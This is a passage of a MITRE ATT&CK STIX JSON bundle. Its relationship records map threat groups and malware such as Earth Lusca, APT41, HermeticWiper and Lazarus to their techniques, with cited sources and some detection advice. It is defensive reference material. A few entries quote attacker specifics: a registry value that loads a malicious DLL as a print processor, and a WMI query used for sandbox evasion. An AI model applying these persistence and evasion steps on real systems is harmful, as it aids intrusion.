Patchwork"}],"modified":"2021-11-02T21:07:07.455Z","description":"[Patchwork](https://attack.mitre.org/groups/G0040) scanned the “Program Files” directories for a directory with the string “Total Security” (the installation path of the “360 Total Security” antivirus tool).(Citation: Cymmetria Patchwork)","relationship_type":"uses","source_ref":"intrusion-set--17862c7d-9e60-48a0-b48e-da4dc4c3f6b0","target_ref":"attack-pattern--cba37adb-d6fb-4610-b069-dd04c0643384","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a5f874b-9297-4c61-9cb1-85012b52c20b","type":"relationship","created":"2022-03-30T14:26:51.859Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","modified":"2022-03-30T14:26:51.859Z","description":"Use process monitoring to monitor the execution and arguments of odbcconf.exe. Compare recent invocations of odbcconf.exe with prior history of known good arguments and loaded DLLs to determine anomalous and potentially adversarial activity.","source_ref":"x-mitre-data-component--3d20385b-24ef-40e1-9f56-f39750379077","target_ref":"attack-pattern--6e3bd510-6b33-41a4-af80-2d80f3ee0071","relationship_type":"detects","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6a649c44-5665-46c9-bd6d-365d2c776782","created":"2022-09-28T14:25:09.640Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"MagicWeb","description":"Microsoft Threat Intelligence Center, Microsoft Detection and Response Team, Microsoft 365 Defender Research Team . (2022, August 24). MagicWeb: NOBELIUM’s post-compromise trick to authenticate as anyone. Retrieved September 28, 2022.","url":"https://www.microsoft.com/security/blog/2022/08/24/magicweb-nobeliums-post-compromise-trick-to-authenticate-as-anyone/"},{"source_name":"Mandiant Azure AD Backdoors","description":"Mike Burns. (2020, September 30). Detecting Microsoft 365 and Azure Active Directory Backdoors. Retrieved September 28, 2022.","url":"https://www.mandiant.com/resources/detecting-microsoft-365-azure-active-directory-backdoors"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-07-22T13:22:56.781Z","description":"Enable security auditing to collect logs from hybrid identity solutions. For example, monitor sign-ins to the Entra ID Application Proxy Connector, which are typically generated only when a new PTA Agent is added. (Citation: Mandiant Azure AD Backdoors) If AD FS is in use, review the logs for event ID 501, which specifies all EKU attributes on a claim, and raise alerts on any values that are not configured in your environment.(Citation: MagicWeb)","relationship_type":"detects","source_ref":"x-mitre-data-component--9c2fa0ae-7abc-485a-97f6-699e3b6cf9fa","target_ref":"attack-pattern--54ca26f3-c172-4231-93e5-ccebcac2161f","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6a653820-adc1-4068-ab78-9165f2a2c5c1","created":"2019-09-23T23:08:25.455Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Crowdstrike GTR2020 Mar 2020","description":"Crowdstrike. (2020, March 2). 2020 Global Threat Report. Retrieved December 11, 2020.","url":"https://go.crowdstrike.com/rs/281-OBQ-266/images/Report2020CrowdStrikeGlobalThreatReport.pdf"},{"source_name":"FireEye APT41 Aug 2019","description":"Fraser, N., et al. (2019, August 7). Double DragonAPT41, a dual espionage and cyber crime operation APT41. Retrieved September 23, 2019.","url":"https://www.mandiant.com/sites/default/files/2022-02/rt-apt41-dual-operation.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-23T15:27:10.525Z","description":"[APT41](https://attack.mitre.org/groups/G0096) used a compromised account to create a scheduled task on a system.(Citation: FireEye APT41 Aug 2019)(Citation: Crowdstrike GTR2020 Mar 2020)","relationship_type":"uses","source_ref":"intrusion-set--18854f55-ac7c-4634-bd9a-352dd07613b7","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a6d57a7-8977-4928-8ef7-71d6c8a9fbfa","type":"relationship","created":"2019-01-30T20:01:45.468Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Securelist Denis April 2017","url":"https://securelist.com/use-of-dns-tunneling-for-cc-communications/78203/","description":"Shulmin, A., Yunakovsky, S. (2017, April 28). Use of DNS Tunneling for C&C Communications. Retrieved November 5, 2018."}],"modified":"2020-03-30T02:05:06.322Z","description":"[Denis](https://attack.mitre.org/software/S0354) compressed collected data using zlib.(Citation: Securelist Denis April 2017)","relationship_type":"uses","source_ref":"malware--f25aab1a-0cef-4910-a85d-bb38b32ea41a","target_ref":"attack-pattern--41868330-6ee2-4d0f-b743-9f2294c3c9b6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6a779cbf-ef5c-4018-a91f-10889b2068b0","created":"2022-09-09T15:57:19.550Z","revoked":false,"external_references":[{"source_name":"TrendMicro EarthLusca 2022","description":"Chen, J., et al. (2022). Delving Deep: An Analysis of Earth Lusca’s Operations. Retrieved July 1, 2022.","url":"https://www.trendmicro.com/content/dam/trendmicro/global/en/research/22/a/earth-lusca-employs-sophisticated-infrastructure-varied-tools-and-techniques/technical-brief-delving-deep-an-analysis-of-earth-lusca-operations.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-09-09T15:57:19.550Z","description":"[Earth Lusca](https://attack.mitre.org/groups/G1006) has added the Registry key `HKLM\\SYSTEM\\ControlSet001\\Control\\Print\\Environments\\Windows x64\\Print Processors\\UDPrint” /v Driver /d “spool.dll /f` to load malware as a Print Processor.(Citation: TrendMicro EarthLusca 2022)","relationship_type":"uses","source_ref":"intrusion-set--cc613a49-9bfa-4e22-98d1-15ffbb03f034","target_ref":"attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6a822142-8cf6-4830-881a-be8630a4bf90","created":"2024-01-11T20:19:32.374Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Kaspersky ToddyCat June 2022","description":"Dedola, G. (2022, June 21). APT ToddyCat. Retrieved January 3, 2024.","url":"https://securelist.com/toddycat/106799/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-04-05T17:58:12.104Z","description":"[Ninja](https://attack.mitre.org/software/S1100) can configure its agent to work only in specific time frames.(Citation: Kaspersky ToddyCat June 2022)","relationship_type":"uses","source_ref":"malware--023254de-caaf-4a05-b2c7-e4e2f283f7a5","target_ref":"attack-pattern--4eeaf8a9-c86b-4954-a663-9555fb406466","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a8356c2-5a79-40b7-bb8e-b7d9dffbe523","type":"relationship","created":"2019-01-29T20:17:49.316Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"description":"Horejsi, J., et al. (2018, March 14). Tropic Trooper’s New Strategy. Retrieved November 9, 2018.","url":"https://blog.trendmicro.com/trendlabs-security-intelligence/tropic-trooper-new-strategy/","source_name":"TrendMicro Tropic Trooper Mar 2018"},{"source_name":"TrendMicro Tropic Trooper May 2020","url":"https://documents.trendmicro.com/assets/Tech-Brief-Tropic-Trooper-s-Back-USBferry-Attack-Targets-Air-gapped-Environments.pdf","description":"Chen, J.. (2020, May 12). Tropic Trooper’s Back: USBferry Attack Targets Air gapped Environments. Retrieved May 20, 2020."}],"modified":"2020-05-21T18:57:34.313Z","description":"[Tropic Trooper](https://attack.mitre.org/groups/G0081) has used SSL to connect to C2 servers.(Citation: TrendMicro Tropic Trooper Mar 2018)(Citation: TrendMicro Tropic Trooper May 2020)","relationship_type":"uses","source_ref":"intrusion-set--56319646-eb6e-41fc-ae53-aadfa7adb924","target_ref":"attack-pattern--bf176076-b789-408e-8cba-7275e81c0ada","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a866320-6bfd-4130-941c-bcd888f2ee92","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Wiarp May 2012","description":"Zhou, R. (2012, May 15). Backdoor.Wiarp. Retrieved February 22, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051606-1005-99"}],"modified":"2020-03-30T18:27:31.605Z","description":"[Wiarp](https://attack.mitre.org/software/S0206) creates a backdoor through which remote attackers can create a service.(Citation: Symantec Wiarp May 2012)","relationship_type":"uses","source_ref":"malware--039814a0-88de-46c5-a4fb-b293db21880a","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6a87ff58-10b1-4fbc-a633-d7d8a34d1b29","created":"2017-05-31T21:33:27.045Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023","description":"FBI et al. (2023, May 9). Hunting Russian Intelligence “Snake” Malware. Retrieved June 8, 2023.","url":"https://www.cisa.gov/sites/default/files/2023-05/aa23-129a_snake_malware_2.pdf"},{"source_name":"Kaspersky Turla","description":"Kaspersky Lab's Global Research and Analysis Team. (2014, August 7). The Epic Turla Operation: Solving some of the mysteries of Snake/Uroburos. Retrieved December 11, 2014.","url":"https://securelist.com/the-epic-turla-operation/65545/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-08-02T19:48:44.104Z","description":"(Citation: Kaspersky Turla)(Citation: Joint Cybersecurity Advisory AA23-129A Snake Malware May 2023)","relationship_type":"uses","source_ref":"intrusion-set--7a19ecb1-3c65-4de3-a230-993516aed6a6","target_ref":"malware--80a014ba-3fef-4768-990b-37d8bd10d7f4","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6a8c7cab-bdf7-43dc-960b-84f47767f2df","created":"2024-05-22T20:21:41.927Z","revoked":false,"external_references":[{"source_name":"SentinelOne Agrius 2021","description":"Amitai Ben & Shushan Ehrlich. (2021, May). From Wiper to Ransomware: The Evolution of Agrius. Retrieved May 21, 2024.","url":"https://assets.sentinelone.com/sentinellabs/evol-agrius"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-05-22T20:21:41.927Z","description":"[Apostle](https://attack.mitre.org/software/S1133) reboots the victim machine following wiping and related activity.(Citation: SentinelOne Agrius 2021)","relationship_type":"uses","source_ref":"malware--48d96fa0-d027-45aa-a8c3-5d09f65d596d","target_ref":"attack-pattern--ff73aa03-0090-4464-83ac-f89e233c02bc","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a8db293-43a2-45a1-b9b2-32222355bc4e","type":"relationship","created":"2022-03-25T18:42:10.296Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"SentinelOne Hermetic Wiper February 2022","url":"https://www.sentinelone.com/labs/hermetic-wiper-ukraine-under-attack","description":"Guerrero-Saade, J. (2022, February 23). HermeticWiper | New Destructive Malware Used In Cyber Attacks on Ukraine. Retrieved March 25, 2022."},{"source_name":"Symantec Ukraine Wipers February 2022","url":"https://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/ukraine-wiper-malware-russia","description":"Symantec Threat Hunter Team. (2022, February 24). Ukraine: Disk-wiping Attacks Precede Russian Invasion. Retrieved March 25, 2022."},{"source_name":"Crowdstrike DriveSlayer February 2022","url":"https://www.crowdstrike.com/blog/how-crowdstrike-falcon-protects-against-wiper-malware-used-in-ukraine-attacks/","description":"Thomas, W. et al. (2022, February 25). CrowdStrike Falcon Protects from New Wiper Malware Used in Ukraine Cyberattacks. Retrieved March 25, 2022."},{"source_name":"Qualys Hermetic Wiper March 2022","url":"https://blog.qualys.com/vulnerabilities-threat-research/2022/03/01/ukrainian-targets-hit-by-hermeticwiper-new-datawiper-malware","description":"Dani, M. (2022, March 1). Ukrainian Targets Hit by HermeticWiper, New Datawiper Malware. Retrieved March 25, 2022."}],"modified":"2022-03-25T21:34:45.507Z","description":"[HermeticWiper](https://attack.mitre.org/software/S0697) has the ability to corrupt disk partitions, damage the Master Boot Record (MBR), and overwrite the Master File Table (MFT) of all available physical drives.(Citation: SentinelOne Hermetic Wiper February 2022)(Citation: Symantec Ukraine Wipers February 2022)(Citation: Crowdstrike DriveSlayer February 2022)(Citation: Qualys Hermetic Wiper March 2022)","relationship_type":"uses","source_ref":"malware--a0ab8a96-40c9-4483-8a54-3fafa6d6007a","target_ref":"attack-pattern--0af0ca99-357d-4ba1-805f-674fdfb7bef9","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a8f9492-678f-42c7-8f61-a335c78ee85c","type":"relationship","created":"2021-12-06T16:30:49.253Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"US-CERT TA18-074A","description":"US-CERT. (2018, March 16). Alert (TA18-074A): Russian Government Cyber Activity Targeting Energy and Other Critical Infrastructure Sectors. Retrieved June 6, 2018.","url":"https://www.us-cert.gov/ncas/alerts/TA18-074A"}],"modified":"2021-12-06T20:45:13.924Z","description":"[Dragonfly](https://attack.mitre.org/groups/G0035) has cleared Windows event logs and other logs produced by tools they used, including system, security, terminal services, remote services, and audit logs. The actors also deleted specific Registry keys.(Citation: US-CERT TA18-074A)","relationship_type":"uses","source_ref":"intrusion-set--1c63d4ec-0a75-4daa-b1df-0d11af3d3cc1","target_ref":"attack-pattern--6495ae23-3ab4-43c5-a94f-5638a2c31fd2","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6a92b1de-a2f2-4e68-aabc-a5568614f18c","created":"2021-09-13T20:21:53.955Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Nicolas Falliere, Liam O Murchu, Eric Chien February 2011","description":"Nicolas Falliere, Liam O Murchu, Eric Chien 2011, February W32.Stuxnet Dossier (Version 1.4) Retrieved. 2017/09/22 ","url":"https://www.wired.com/images_blogs/threatlevel/2011/02/Symantec-Stuxnet-Update-Feb-2011.pdf"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2023-03-17T18:21:27.779Z","description":"[Stuxnet](https://attack.mitre.org/software/S0603) checks for specific operating systems on 32-bit machines, Registry keys, and dates for vulnerabilities, and will exit execution if the values are not met.(Citation: Nicolas Falliere, Liam O Murchu, Eric Chien February 2011)","relationship_type":"uses","source_ref":"malware--088f1d6e-0783-47c6-9923-9c79b2af43d4","target_ref":"attack-pattern--853c4192-4311-43e1-bfbb-b11b14911852","x_mitre_deprecated":false,"x_mitre_version":"1.0","x_mitre_attack_spec_version":"3.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a93c25c-c9cb-4cd9-a36b-1f2353e91e32","type":"relationship","created":"2019-04-19T14:09:25.435Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Unit 42 OilRig Sept 2018","description":"Falcone, R., et al. (2018, September 04). OilRig Targets a Middle Eastern Government and Adds Evasion Techniques to OopsIE. Retrieved September 24, 2018.","url":"https://researchcenter.paloaltonetworks.com/2018/09/unit42-oilrig-targets-middle-eastern-government-adds-evasion-techniques-oopsie/"}],"modified":"2020-03-16T18:24:29.729Z","description":"[OopsIE](https://attack.mitre.org/software/S0264) performs several anti-VM and sandbox checks on the victim's machine. One technique the group has used was to perform a WMI query SELECT * FROM MSAcpi_ThermalZoneTemperature to check the temperature to see if it’s running in a virtual environment.(Citation: Unit 42 OilRig Sept 2018)","relationship_type":"uses","source_ref":"malware--8e101fdd-9f7f-4916-bb04-6bd9e94c129c","target_ref":"attack-pattern--29be378d-262d-4e99-b00d-852d573628e6","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6a9d5f63-e3f8-4980-834b-f83660095e5c","created":"2022-09-22T22:16:08.050Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Cybereason OperationCuckooBees May 2022","description":"Cybereason Nocturnus. (2022, May 4). Operation CuckooBees: Deep-Dive into Stealthy Winnti Techniques. Retrieved September 22, 2022.","url":"https://www.cybereason.com/blog/operation-cuckoobees-deep-dive-into-stealthy-winnti-techniques"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2022-10-06T20:39:47.808Z","description":"During [Operation CuckooBees](https://attack.mitre.org/campaigns/C0012), the threat actors renamed a malicious executable to `rundll32.exe` to allow it to blend in with other Windows system files.(Citation: Cybereason OperationCuckooBees May 2022)","relationship_type":"uses","source_ref":"campaign--93c23946-49af-41f4-ac03-40f9ffc7419b","target_ref":"attack-pattern--1c4e5d32-1fe9-4116-9d9d-59e3925bd6a2","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"2.1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6a9d747a-d2d6-48eb-92d0-441f1c127c4c","type":"relationship","created":"2019-09-13T13:50:37.752Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Machete July 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/08/ESET_Machete.pdf","description":"ESET. (2019, July). MACHETE JUST GOT SHARPER Venezuelan government institutions under attack. Retrieved September 13, 2019."},{"source_name":"360 Machete Sep 2020","url":"https://blog.360totalsecurity.com/en/apt-c-43-steals-venezuelan-military-secrets-to-provide-intelligence-support-for-the-reactionaries-hpreact-campaign/","description":"kate. (2020, September 25). APT-C-43 steals Venezuelan military secrets to provide intelligence support for the reactionaries — HpReact campaign. Retrieved November 20, 2020."}],"modified":"2020-11-23T22:25:18.418Z","description":"[Machete](https://attack.mitre.org/software/S0409) collects the MAC address of the target computer and other network configuration information.(Citation: ESET Machete July 2019)(Citation: 360 Machete Sep 2020)","relationship_type":"uses","source_ref":"malware--35cd1d01-1ede-44d2-b073-a264d727bc04","target_ref":"attack-pattern--707399d6-ab3e-4963-9315-d9d3818cd6a0","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6aa9250e-cbe8-4f47-9aef-bb178c2b6677","type":"relationship","created":"2019-02-19T19:17:15.172Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"LOLBAS Expand","url":"https://lolbas-project.github.io/lolbas/Binaries/Expand/","description":"LOLBAS. (n.d.). Expand.exe. Retrieved February 19, 2019."}],"modified":"2020-03-20T18:43:17.111Z","description":"[Expand](https://attack.mitre.org/software/S0361) can be used to download or upload a file over a network share.(Citation: LOLBAS Expand)","relationship_type":"uses","source_ref":"tool--ca656c25-44f1-471b-9d9f-e2a3bbb84973","target_ref":"attack-pattern--bf90d72c-c00b-45e3-b3aa-68560560d4c5","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6aaca244-805c-4aba-b923-40407b034662","type":"relationship","created":"2020-09-23T15:48:24.645Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"ESET Dukes October 2019","url":"https://www.welivesecurity.com/wp-content/uploads/2019/10/ESET_Operation_Ghost_Dukes.pdf","description":"Faou, M., Tartare, M., Dupuy, T. (2019, October). OPERATION GHOST. Retrieved September 23, 2020."},{"source_name":"Secureworks IRON HEMLOCK Profile","url":"http://www.secureworks.com/research/threat-profiles/iron-hemlock","description":"Secureworks CTU. (n.d.). IRON HEMLOCK. Retrieved February 22, 2022."}],"modified":"2022-02-22T14:44:52.248Z","description":"(Citation: ESET Dukes October 2019)(Citation: Secureworks IRON HEMLOCK Profile)","relationship_type":"uses","source_ref":"intrusion-set--899ce53f-13a0-479b-a0e4-67d46e241542","target_ref":"malware--3d57dcc4-be99-4613-9482-d5218f5ec13e","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6aace1a6-2422-45de-a72e-eb66ebbbca0a","created":"2024-08-09T18:02:05.889Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Mandiant ROADSWEEP August 2022","description":"Jenkins, L. at al. (2022, August 4). ROADSWEEP Ransomware - Likely Iranian Threat Actor Conducts Politically Motivated Disruptive Activity Against Albanian Government Organizations. Retrieved August 6, 2024.","url":"https://cloud.google.com/blog/topics/threat-intelligence/likely-iranian-threat-actor-conducts-politically-motivated-disruptive-activity-against/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-08-21T19:27:56.528Z","description":"[CHIMNEYSWEEP](https://attack.mitre.org/software/S1149) can use the Windows `SilentCleanup` scheduled task to enable payload execution.(Citation: Mandiant ROADSWEEP August 2022)","relationship_type":"uses","source_ref":"malware--542e3384-341a-455b-bb48-4917b25e3b00","target_ref":"attack-pattern--005a06c6-14bf-4118-afa0-ebcd8aebb0c9","x_mitre_deprecated":false,"x_mitre_version":"0.1","x_mitre_attack_spec_version":"3.2.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6aadee2b-d475-4604-bb08-7df5e59eae3a","type":"relationship","created":"2018-04-18T17:59:24.739Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Symantec Nerex May 2012","description":"Ladley, F. (2012, May 15). Backdoor.Nerex. Retrieved February 23, 2018.","url":"https://www.symantec.com/security_response/writeup.jsp?docid=2012-051515-3445-99"}],"modified":"2018-10-17T00:14:20.652Z","description":"[Nerex](https://attack.mitre.org/software/S0210) creates a Registry subkey that registers a new service.(Citation: Symantec Nerex May 2012)","relationship_type":"uses","source_ref":"malware--c251e4a5-9a2e-4166-8e42-442af75c3b9a","target_ref":"attack-pattern--2959d63f-73fd-46a1-abd2-109d7dcede32","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6aae6da8-eaf5-4139-a773-25075c4e0cc6","type":"relationship","created":"2021-09-10T15:13:36.948Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"Talos Oblique RAT March 2021","url":"https://blog.talosintelligence.com/2021/02/obliquerat-new-campaign.html","description":"Malhotra, A. (2021, March 2). ObliqueRAT returns with new campaign using hijacked websites. Retrieved September 2, 2021."}],"modified":"2021-10-15T14:43:12.384Z","description":"[ObliqueRAT](https://attack.mitre.org/software/S0644) can break large files of interest into smaller chunks to prepare them for exfiltration.(Citation: Talos Oblique RAT March 2021)","relationship_type":"uses","source_ref":"malware--5864e59f-eb4c-43ad-83b2-b5e4fae056c9","target_ref":"attack-pattern--c3888c54-775d-4b2f-b759-75a2ececcbfd","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"id":"relationship--6aaf2c92-43a3-42f5-81ab-220c854607b0","type":"relationship","created":"2019-04-23T19:34:17.173Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","external_references":[{"source_name":"FireEye FIN7 April 2017","description":"Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing LNK. Retrieved April 24, 2017.","url":"https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html"}],"modified":"2020-03-16T18:20:33.593Z","description":"[FIN7](https://attack.mitre.org/groups/G0046) used images embedded into document lures that only activate the payload when a user double clicks to avoid sandboxes.(Citation: FireEye FIN7 April 2017)","relationship_type":"uses","source_ref":"intrusion-set--3753cc21-2dae-4dfb-8481-d004e74502cc","target_ref":"attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938","x_mitre_version":"1.0","x_mitre_modified_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5"},{"type":"relationship","id":"relationship--6ab291a5-8061-4ad4-a6a7-07a6142e4c27","created":"2017-05-31T21:33:27.068Z","created_by_ref":"identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5","revoked":false,"external_references":[{"source_name":"Novetta Blockbuster RATs","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Remote Administration Tools & Content Staging Malware Report. Retrieved March 16, 2016.","url":"https://web.archive.org/web/20220608001455/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-RAT-and-Staging-Report.pdf"},{"source_name":"Novetta Blockbuster","description":"Novetta Threat Research Group. (2016, February 24). Operation Blockbuster: Unraveling the Long Thread of the Sony Attack. Retrieved February 25, 2016.","url":"https://web.archive.org/web/20160226161828/https://www.operationblockbuster.com/wp-content/uploads/2016/02/Operation-Blockbuster-Report.pdf"},{"source_name":"Lazarus APT January 2022","description":"Saini, A. and Hossein, J. (2022, January 27). North Korea’s Lazarus APT leverages Windows Update client, GitHub in latest campaign. Retrieved January 27, 2022.","url":"https://blog.malwarebytes.com/threat-intelligence/2022/01/north-koreas-lazarus-apt-leverages-windows-update-client-github-in-latest-campaign/"},{"source_name":"McAfee Lazarus Resurfaces Feb 2018","description":"Sherstobitoff, R. (2018, February 12). Lazarus Resurfaces, Targets Global Banks and Bitcoin Users. Retrieved February 19, 2018.","url":"https://www.mcafee.com/blogs/other-blogs/mcafee-labs/lazarus-resurfaces-targets-global-banks-bitcoin-users/"}],"object_marking_refs":["marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"],"modified":"2024-10-04T11:03:54.706Z","description":"[Lazarus Group](https://attack.mitre.org/groups/G0032) has maintained persistence by loading malicious code into a startup folder or by adding a Registry Run key.(Citation: Novetta Blockbuster)(Citation: Novetta Blockbuster RATs)(Citation: McAfee Lazarus Resurfaces Feb 2018)(Citation: Lazarus APT January 